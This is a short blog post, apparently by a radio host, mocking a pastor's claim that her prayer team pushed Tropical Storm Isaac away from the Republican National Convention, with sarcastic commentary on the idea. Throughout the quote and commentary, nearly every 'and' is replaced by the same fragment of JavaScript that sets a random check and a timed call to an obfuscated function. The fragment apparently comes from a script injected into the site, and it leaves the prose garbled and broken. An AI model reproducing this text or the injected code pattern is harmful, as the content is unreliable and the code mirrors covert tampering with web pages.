Dumbest Quote of the Week: Pastor says prayer team sent Isaac away from RNC

 A Tampa Bay pastor told the Christian Broadcasting Network her team prayed Tropical Storm Isaac away from the Republican National Convention.

The Rev. Jesten Peters of Keys of Authority Ministries told the Christian Broadcasting Network, “We have had lots andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lots of people praying around the clock that it would move, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} after you watch from the very beginning where they were saying it was coming andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} now where they say it is going, then it has really moved out of the way for us andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} we appreciate God doing that andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} moving it for us.”

Doug: If their prayers work THIS well… why wouldn’t they put this kind of effort into world peace or curing cancer or ending hunger andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} poverty?

 And let me see if I have this straight… God can steer a hurricane away from a political convention – but instead of just making it just die out or sending it out to sea andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} not hurting anybody – he sends it further down the coast andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} wreaks havoc on the same area andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} people he did 7 years ago. God seems to be ignoring that whole “love your neighbor as yourself” thing his son went on about. In short… God doesn’t sound like a very good Christian.

 

 

 

 

 

 

 

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